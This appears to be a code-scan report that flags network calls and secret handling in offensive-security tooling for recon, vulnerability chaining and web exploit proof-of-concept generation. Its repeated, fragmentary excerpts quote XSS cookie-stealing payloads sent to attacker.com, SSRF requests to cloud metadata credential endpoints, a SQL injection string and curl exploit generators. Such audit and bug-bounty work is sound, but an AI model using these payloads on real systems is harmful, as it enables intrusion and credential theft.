for scheme in ["https", "http"]: url = f"{scheme}://{hostname}/" req = urllib.request.Request(url, headers={ - Network accessline 192
url = f"{scheme}://{hostname}/" req = urllib.request.Request(url, headers={ "User-Agent": "orizon-recon/1.0", - Network accessline 193
req = urllib.request.Request(url, headers={ - Network accessline 196
}) try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 197
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(16384).decode("utf-8", errors="replace") - Network accessline 198
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
recon-dominator/references/tools-setup.md
recon-dominator/scripts/active_recon.py
- Executable scriptline 1
#!/usr/bin/env python3
recon-dominator/scripts/generate_report.py
- Executable scriptline 1
#!/usr/bin/env python3
recon-dominator/scripts/google_dorker.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 145
for template in templates: query = template.format(domain=domain) search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}" - Network accessline 146
query = template.format(domain=domain) search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}" results[category].append({ - Network accessline 147
search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}" - Network accessline 190
for template in custom: query = template.replace("{domain}", domain) search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}" - Network accessline 191
query = template.replace("{domain}", domain) search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}" dorks["custom"].append({"query": query, "url": search_url}) - Network accessline 192
search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"
recon-dominator/scripts/osint_correlator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 34
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 35
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 36
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 37
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: return resp.read().decode("utf-8", errors="replace") - Network accessline 38
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 137
log(f"Running reverse IP lookup on {ip}...") url = f"https://api.hackertarget.com/reverseiplookup/?q={ip}" - Network accessline 138
url = f"https://api.hackertarget.com/reverseiplookup/?q={ip}" - Network accessline 152
url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,isp,org,as,query" - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 180
[Credential-related source omitted] - Network accessline 183
urls = [] for dork in dorks: search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code" - Network accessline 184
for dork in dorks: search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code" urls.append({"query": dork, "url": search_url}) - Network accessline 185
search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"
recon-dominator/scripts/passive_recon.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 39
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 40
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 41
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 42
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: return resp.read().decode("utf-8", errors="replace") - Network accessline 43
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 52
log(f"Querying crt.sh for {domain}...") url = f"https://crt.sh/?q=%25.{urllib.parse.quote(domain)}&output=json" - Network accessline 53
url = f"https://crt.sh/?q=%25.{urllib.parse.quote(domain)}&output=json" - Network accessline 77
log(f"Querying HackerTarget for {domain}...") url = f"https://api.hackertarget.com/hostsearch/?q={urllib.parse.quote(domain)}" - Network accessline 78
url = f"https://api.hackertarget.com/hostsearch/?q={urllib.parse.quote(domain)}" - Network accessline 96
log(f"Querying RapidDNS for {domain}...") url = f"https://rapiddns.io/subdomain/{urllib.parse.quote(domain)}?full=1" - Network accessline 97
url = f"https://rapiddns.io/subdomain/{urllib.parse.quote(domain)}?full=1" - Network accessline 179
log(f"Querying Wayback Machine for {domain}...") url = f"https://web.archive.org/cdx/search/cdx?url=*.{urllib.parse.quote(domain)}/*&output=json&fl=original&collapse=urlkey&limit=5000" - Network accessline 180
url = f"https://web.archive.org/cdx/search/cdx?url=*.{urllib.parse.quote(domain)}/*&output=json&fl=original&collapse=urlkey&limit=5000"
recon-dominator/scripts/port_scanner.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 47
try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 48
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 76
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 77
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(8192).decode("utf-8", errors="replace") - Network accessline 78
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
recon-dominator/scripts/tech_fingerprint.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 121
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={ - Network accessline 122
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={ "User-Agent": "Mozilla/5.0 (compatible; orizon-recon/1.0)" - Network accessline 123
req = urllib.request.Request(url, headers={ - Network accessline 125
}) try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 126
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(32768).decode("utf-8", errors="replace") - Network accessline 127
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
recon-dominator/scripts/wayback_analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 33
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 34
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 35
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 36
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: return resp.read().decode("utf-8", errors="replace") - Network accessline 37
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 46
log(f"Fetching Wayback Machine URLs for {domain}...") url = ( f"https://web.archive.org/cdx/search/cdx?" - Network accessline 47
url = ( f"https://web.archive.org/cdx/search/cdx?" f"url=*.{urllib.parse.quote(domain)}/*" - Network accessline 48
f"https://web.archive.org/cdx/search/cdx?" f"url=*.{urllib.parse.quote(domain)}/*" f"&output=json&fl=original,timestamp,statuscode,mimetype" - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted]
vuln-chain-composer/SKILL.md
- Access to secretsline 57
[Credential-related source omitted] - Network accessline 117
- Validates each step succeeded before continuing - Generates evidence at each step 3. **curl command sequence** for manual reproduction - Network accessline 118
- Generates evidence at each step 3. **curl command sequence** for manual reproduction 4. **Video script**: Narrated steps for recording a PoC video - Network accessline 119
3. **curl command sequence** for manual reproduction - Network accessline 150
## Proof of Concept [curl commands or script] - Network accessline 151
[curl commands or script] - Network accessline 206
2. Write compelling title and summary 3. Format steps to reproduce with exact payloads 4. Include curl commands as PoC - Network accessline 207
3. Format steps to reproduce with exact payloads 4. Include curl commands as PoC 5. Calculate and justify severity - Network accessline 208
4. Include curl commands as PoC
vuln-chain-composer/scripts/build_chains.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 67
"steps": [ "Inject payload at {url} parameter {parameter}", "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>", - Network accessline 68
"Inject payload at {url} parameter {parameter}", "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>", "Send crafted URL to victim", - Network accessline 69
"Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>", - Network accessline 78
"steps": [ "Submit XSS payload to stored field at {url}", "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>", - Network accessline 79
"Submit XSS payload to stored field at {url}", "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>", "Wait for victim (or admin) to view the page containing stored payload", - Network accessline 80
"Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>", - Network accessline 102
"steps": [ "Send SSRF payload to {url} parameter {parameter}", "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 103
"Send SSRF payload to {url} parameter {parameter}", "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/", "Extract cloud IAM credentials from metadata response", - Network accessline 104
"Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 113
"steps": [ "Exploit SSRF at {url} to reach metadata endpoint", "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 114
"Exploit SSRF at {url} to reach metadata endpoint", "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/", "GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts - Network accessline 115
"AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 116
"GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", - Network accessline 117
"Azure: http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01", - Network accessline 152
"tools": ["browser", "curl"], "steps": [ "Craft redirect URL: {url}?redirect=https://attacker.com/phish", - Network accessline 153
"steps": [ "Craft redirect URL: {url}?redirect=https://attacker.com/phish", "If used in OAuth flow, redirect steals authorization code", - Network accessline 154
"Craft redirect URL: {url}?redirect=https://attacker.com/phish",
vuln-chain-composer/scripts/calculate_impact.py
- Executable scriptline 1
#!/usr/bin/env python3
vuln-chain-composer/scripts/correlate.py
- Executable scriptline 1
#!/usr/bin/env python3
vuln-chain-composer/scripts/generate_chain_poc.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 2
""" Chain PoC Generator - vuln-chain-composer Generates Python scripts and curl commands that demonstrate full chain exploitation. - Network accessline 3
Chain PoC Generator - vuln-chain-composer Generates Python scripts and curl commands that demonstrate full chain exploitation. Author: orizon.one - Network accessline 4
Generates Python scripts and curl commands that demonstrate full chain exploitation. - Network accessline 27
def generate_curl_command(step, finding): """Generate a curl command for a single exploitation step.""" - Network accessline 28
"""Generate a curl command for a single exploitation step.""" - Network accessline 29
url = finding.get("url", step.get("target", "https://TARGET")) - Network accessline 39
inject_payload = "' UNION SELECT username,password FROM users--" if method == "GET": return f"curl -s -k '{url}?{parameter}={inject_payload}'" - Network accessline 40
if method == "GET": return f"curl -s -k '{url}?{parameter}={inject_payload}'" else: - Network accessline 41
return f"curl -s -k '{url}?{parameter}={inject_payload}'" - Network accessline 43
return f"curl -s -k -X POST '{url}' -d '{parameter}={inject_payload}'" - Network accessline 45
elif "xss" in vuln_type: xss_payload = payload or "<script>document.location='https://ATTACKER_SERVER/steal?c='+document.cookie</script>" - Network accessline 46
xss_payload = payload or "<script>document.location='https://ATTACKER_SERVER/steal?c='+document.cookie</script>" if method == "GET": return f"curl -s -k '{url}?{parameter}={xss_payload}'" - Network accessline 47
if method == "GET": return f"curl -s -k '{url}?{parameter}={xss_payload}'" else: - Network accessline 48
return f"curl -s -k '{url}?{parameter}={xss_payload}'" - Network accessline 50
return f"curl -s -k -X POST '{url}' -d '{parameter}={xss_payload}'" - Network accessline 52
elif "ssrf" in vuln_type: ssrf_target = payload or "http://169.254.169.254/latest/meta-data/iam/security-credentials/" - Network accessline 53
ssrf_target = payload or "http://169.254.169.254/latest/meta-data/iam/security-credentials/" if method == "GET": return f"curl -s -k '{url}?{parameter}={ssrf_target}'" - Network accessline 54
if method == "GET": return f"curl -s -k '{url}?{parameter}={ssrf_target}'" else: - Network accessline 55
return f"curl -s -k '{url}?{parameter}={ssrf_target}'" - Network accessline 57
return f"curl -s -k -X POST '{url}' -d '{parameter}={ssrf_target}'" - Network accessline 62
elif "redirect" in vuln_type: return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'" - Network accessline 63
return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'" - Network accessline 75
elif "bucket" in vuln_type: return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request" - Network accessline 76
return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request" - Network accessline 78
elif "ssti" in vuln_type: ssti_payload = payload or "{{7*7}}" return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'" - Network accessline 80
return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'" - Network accessline 82
else: if method == "GET": return f"curl -s -k '{url}'" - Network accessline 83
if method == "GET": return f"curl -s -k '{url}'" else: - Network accessline 84
return f"curl -s -k '{url}'" - Network accessline 86
return f"curl -s -k -X POST '{url}' -d '{parameter}={payload or \"test\"}'" - Network accessline 101
lines.append('"""') lines.append('') lines.append('import http.client') - Network accessline 102
lines.append('') lines.append('import http.client') lines.append('import json') - Network accessline 103
lines.append('import http.client') - Network accessline 110
lines.append('') lines.append('# Configuration - UPDATE THESE VALUES') lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"') - Network accessline 111
lines.append('# Configuration - UPDATE THESE VALUES') lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"') lines.append('SESSION_COOKIE = "YOUR_SESSION_COOKIE"') - Network accessline 112
lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"') - Network accessline 113
lines.append('SESSION_COOKIE = "YOUR_SESSION_COOKIE"') lines.append('ATTACKER_SERVER = "https://YOUR_ATTACKER_SERVER"') lines.append('') - Network accessline 114
lines.append('ATTACKER_SERVER = "https://YOUR_ATTACKER_SERVER"') - Network accessline 131
lines.append('') lines.append(' if scheme == "https":') lines.append(' conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)') - Network accessline 132
lines.append(' if scheme == "https":') lines.append(' conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)') lines.append(' else:') - Network accessline 133
lines.append(' conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)') - Network accessline 134
lines.append(' else:') lines.append(' conn = http.client.HTTPConnection(host, port, timeout=10)') lines.append('') - Network accessline 135
lines.append(' conn = http.client.HTTPConnection(host, port, timeout=10)') - Network accessline 264
def generate_curl_sequence(chain): """Generate a sequence of curl commands for the chain.""" - Network accessline 265
"""Generate a sequence of curl commands for the chain.""" - Network accessline 299
action = step.get("action", "") lines.append(f"echo 'Step {step_num}: {action}'") curl = generate_curl_command(phase, finding) - Network accessline 300
lines.append(f"echo 'Step {step_num}: {action}'") curl = generate_curl_command(phase, finding) lines.append(curl) - Network accessline 301
curl = generate_curl_command(phase, finding) - Network accessline 309
finding = all_findings[min(i, len(all_findings) - 1)] if all_findings else {} if isinstance(finding, dict): curl = generate_curl_command({"target": finding.get("url", "")}, finding) - Network accessline 310
if isinstance(finding, dict): curl = generate_curl_command({"target": finding.get("url", "")}, finding) lines.append(curl) - Network accessline 311
curl = generate_curl_command({"target": finding.get("url", "")}, finding) - Network accessline 447
print(f"{'='*60}") print(f" Chains processed : {len(poc_results)}") print(f" PoC types per chain: Python script, curl sequence, video script") - Network accessline 448
print(f" Chains processed : {len(poc_results)}") print(f" PoC types per chain: Python script, curl sequence, video script") if output_dir: - Network accessline 449
print(f" PoC types per chain: Python script, curl sequence, video script")
vuln-chain-composer/scripts/generate_report.py
- Executable scriptline 1
#!/usr/bin/env python3
vuln-chain-composer/scripts/import_findings.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 188
findings.append({ "type": "info_disclosure", "url": f"https://{host}:{port}", - Network accessline 189
"type": "info_disclosure", "url": f"https://{host}:{port}", "severity": "INFO", - Network accessline 190
"url": f"https://{host}:{port}", - Network accessline 202
findings.append({ "type": "info_disclosure", "url": f"https://{target}", - Network accessline 203
"type": "info_disclosure", "url": f"https://{target}", "severity": "LOW", - Network accessline 204
"url": f"https://{target}", - Network accessline 214
findings.append({ "type": "info_disclosure", "url": f"https://{subdomain}", - Network accessline 215
"type": "info_disclosure", "url": f"https://{subdomain}", "severity": "INFO", - Network accessline 216
"url": f"https://{subdomain}", - Network accessline 232
findings.append({ "type": f"attack_path_{path.get('attack_name', 'unknown').lower().replace(' ', '_')}", "url": f"https://{path.get('target', '')}", - Network accessline 233
"type": f"attack_path_{path.get('attack_name', 'unknown').lower().replace(' ', '_')}", "url": f"https://{path.get('target', '')}", "severity": "HIGH" if path.get("combined_score", 0) >= 7 else "MEDIUM", - Network accessline 234
"url": f"https://{path.get('target', '')}", - Network accessline 242
findings.append({ "type": "public_bucket", "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"], - Network accessline 243
"type": "public_bucket", "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"], "severity": "HIGH", - Network accessline 244
"url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"], - Network accessline 253
findings.append({ "type": "subdomain_takeover", "url": f"https://{rel.get('source', '')}", - Network accessline 254
"type": "subdomain_takeover", "url": f"https://{rel.get('source', '')}", "severity": "HIGH", - Network accessline 255
"url": f"https://{rel.get('source', '')}", - Network accessline 266
findings.append({ "type": "trust_relationship", "url": f"https://{rel.get('source', rel.get('from', ''))}", - Network accessline 267
"type": "trust_relationship", "url": f"https://{rel.get('source', rel.get('from', ''))}", "severity": "INFO", - Network accessline 268
"url": f"https://{rel.get('source', rel.get('from', ''))}", - Network accessline 277
findings.append({ "type": "trust_relationship", "url": f"https://{source}", - Network accessline 278
"type": "trust_relationship", "url": f"https://{source}", "severity": "INFO", - Network accessline 279
"url": f"https://{source}", - Network accessline 293
findings.append({ "type": f"attack_path_{goal.lower().replace(' ', '_')[:50]}", "url": f"https://{target}" if target else "", - Network accessline 294
"type": f"attack_path_{goal.lower().replace(' ', '_')[:50]}", "url": f"https://{target}" if target else "", "severity": "CRITICAL" if score >= 9 else "HIGH" if score >= 7 else "MEDIUM", - Network accessline 295
"url": f"https://{target}" if target else "",
webapp-exploit-hunter/SKILL.md
webapp-exploit-hunter/scripts/auth_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 51
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 53
start = time.time() try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 54
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 55
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 253
[Credential-related source omitted] - Possible obfuscationline 334
decoded = base64.b64decode(part) - Network accessline 566
test_origins = [ "https://evil.com", - Network accessline 567
"https://evil.com", - Network accessline 568
"https://attacker.example.com", - Network accessline 574
test_origins.append(f"https://{parsed.hostname}.evil.com")
webapp-exploit-hunter/scripts/crawler.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 92
req = urllib.request.Request(url, headers=default_headers) - Network accessline 93
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(131072).decode("utf-8", errors="replace") - Network accessline 94
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Access to secretsline 159
[Credential-related source omitted] - Network accessline 292
target = args.target.strip() if not target.startswith("http"): target = f"https://{target}" - Network accessline 294
target = f"https://{target}"
webapp-exploit-hunter/scripts/generate_poc.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 165
# ─── curl PoC generators ───────────────────────────────────────────────────── - Network accessline 168
"""Generate curl command for SQLi finding.""" - Network accessline 178
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" - Network accessline 179
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" else: - Network accessline 180
return f"curl -k -v '{test_url}'" - Network accessline 181
else: encoded = urllib.parse.urlencode({param: payload}) return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 183
return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 187
"""Generate curl command for XSS finding.""" - Network accessline 200
else: encoded = urllib.parse.urlencode({param: payload}) return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 202
return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 206
"""Generate curl command for SSRF finding.""" - Network accessline 207
url = finding.get("url", "") param = finding.get("param", "") payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/") - Network accessline 208
param = finding.get("param", "") payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/") method = finding.get("method", "GET") - Network accessline 209
payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/") - Network accessline 216
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" - Network accessline 217
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" else: - Network accessline 218
return f"curl -k -v '{test_url}'" - Network accessline 219
else: encoded = urllib.parse.urlencode({param: payload}) return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 221
return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 225
"""Generate curl command for SSTI finding.""" - Network accessline 235
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" - Network accessline 236
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" else: - Network accessline 237
return f"curl -k -v '{test_url}'" - Network accessline 238
else: encoded = urllib.parse.urlencode({param: payload}) return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 240
return f"curl -k -v -X POST '{url}' -d '{encoded}'" - Network accessline 244
"""Generate curl command for race condition finding.""" - Network accessline 252
f"# Send {threads} parallel requests:\n" f"seq 1 {threads} | xargs -P {threads} -I {{}} " f"curl -k -X {method} '{url}'" - Network accessline 253
f"seq 1 {threads} | xargs -P {threads} -I {{}} " f"curl -k -X {method} '{url}'" ) - Network accessline 254
f"curl -k -X {method} '{url}'" - Network accessline 259
"""Generate curl command for a generic finding.""" - Network accessline 272
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" - Network accessline 273
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) return f"curl -k -v '{test_url}'" elif param and payload: - Network accessline 274
return f"curl -k -v '{test_url}'" - Network accessline 275
elif param and payload: encoded = urllib.parse.urlencode({param: payload}) return f"curl -k -v -X {method} '{url}' -d '{encoded}'" - Network accessline 276
encoded = urllib.parse.urlencode({param: payload}) return f"curl -k -v -X {method} '{url}' -d '{encoded}'" else: - Network accessline 277
return f"curl -k -v -X {method} '{url}' -d '{encoded}'" - Network accessline 279
return f"curl -k -v -X {method} '{url}'" - Network accessline 326
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) req = urllib.request.Request(test_url, headers=headers) - Network accessline 327
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) req = urllib.request.Request(test_url, headers=headers) else: - Network accessline 328
req = urllib.request.Request(test_url, headers=headers) - Network accessline 329
else: data = urllib.parse.urlencode({{PARAM: PAYLOAD}}).encode() req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD) - Network accessline 331
req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD) - Network accessline 333
try: with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: - Network accessline 334
with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: - Network accessline 376
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) req = urllib.request.Request(test_url, headers=headers) - Network accessline 377
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) req = urllib.request.Request(test_url, headers=headers) else: - Network accessline 378
req = urllib.request.Request(test_url, headers=headers) - Network accessline 379
else: data = urllib.parse.urlencode({{PARAM: PAYLOAD}}).encode() req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD) - Network accessline 381
req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD) - Network accessline 383
try: with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: - Network accessline 384
with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: - Network accessline 399
url = finding.get("url", "") param = finding.get("param", "") payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/") - Network accessline 401
payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/") - Network accessline 414
PAYLOADS = [ "http://169.254.169.254/latest/meta-data/", - Network accessline 415
"http://169.254.169.254/latest/meta-data/", - Network accessline 416
"http://127.0.0.1:80/", - Network accessline 417
"http://localhost:8080/", - Network accessline 418
"http://[::1]/", - Network accessline 432
new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) req = urllib.request.Request(test_url, headers=headers) - Network accessline 434
req = urllib.request.Request(test_url, headers=headers) - Network accessline 436
try: with urllib.request.urlopen(req, timeout=10, context=ctx) as resp: - Network accessline 437
with urllib.request.urlopen(req, timeout=10, context=ctx) as resp: - Network accessline 469
def send_request(idx): headers = {{"User-Agent": "Mozilla/5.0 (PoC exploit-hunter)"}} req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD) - Network accessline 470
headers = {{"User-Agent": "Mozilla/5.0 (PoC exploit-hunter)"}} req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD) try: - Network accessline 471
req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD) - Network accessline 472
try: with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: body = resp.read(4096).decode("utf-8", errors="replace") - Network accessline 473
with urllib.request.urlopen(req, timeout=15, context=ctx) as resp: - Network accessline 564
f"2. Set the '{param}' parameter to: {payload}", f"3. Observe the response for internal service data or metadata.", f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/", - Network accessline 565
f"3. Observe the response for internal service data or metadata.", f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/", f"5. Try port scanning internal hosts by varying the target IP/port.", - Network accessline 566
f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/", - Network accessline 578
f"1. Prepare a {method} request to: {url}", f"2. Set up {threads} identical requests with the same session/auth token.", f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).", - Network accessline 579
f"2. Set up {threads} identical requests with the same session/auth token.", f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).", f"4. Examine responses: if multiple requests succeed for - Network accessline 580
f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).", - Network accessline 619
# Generate curl PoC - Network accessline 695
print(f" {cls:15s} : {count}") print(f" Generated per finding:") print(f" - curl command") - Network accessline 696
print(f" Generated per finding:") print(f" - curl command") print(f" - Python PoC script") - Network accessline 697
print(f" - curl command")
webapp-exploit-hunter/scripts/idor_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 44
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 45
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 46
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(131072).decode("utf-8", errors="replace") - Network accessline 47
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 217
"baseline_length": len(base_body), "tested_length": len(body), "poc_curl": f"curl -k '{test_url}'", - Network accessline 218
"tested_length": len(body), "poc_curl": f"curl -k '{test_url}'", }) - Network accessline 219
"poc_curl": f"curl -k '{test_url}'", - Network accessline 267
"baseline_length": len(base_body), "tested_length": len(body), "poc_curl": f"curl -k -X {method} '{target_url}'", - Network accessline 268
"tested_length": len(body), "poc_curl": f"curl -k -X {method} '{target_url}'", }) - Network accessline 269
"poc_curl": f"curl -k -X {method} '{target_url}'", - Network accessline 318
"baseline_length": 0, "tested_length": len(body), "poc_curl": f"curl -k '{test_url}'", - Network accessline 319
"tested_length": len(body), "poc_curl": f"curl -k '{test_url}'", }) - Network accessline 320
"poc_curl": f"curl -k '{test_url}'",
webapp-exploit-hunter/scripts/race_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 49
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 51
start = time.time() try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 52
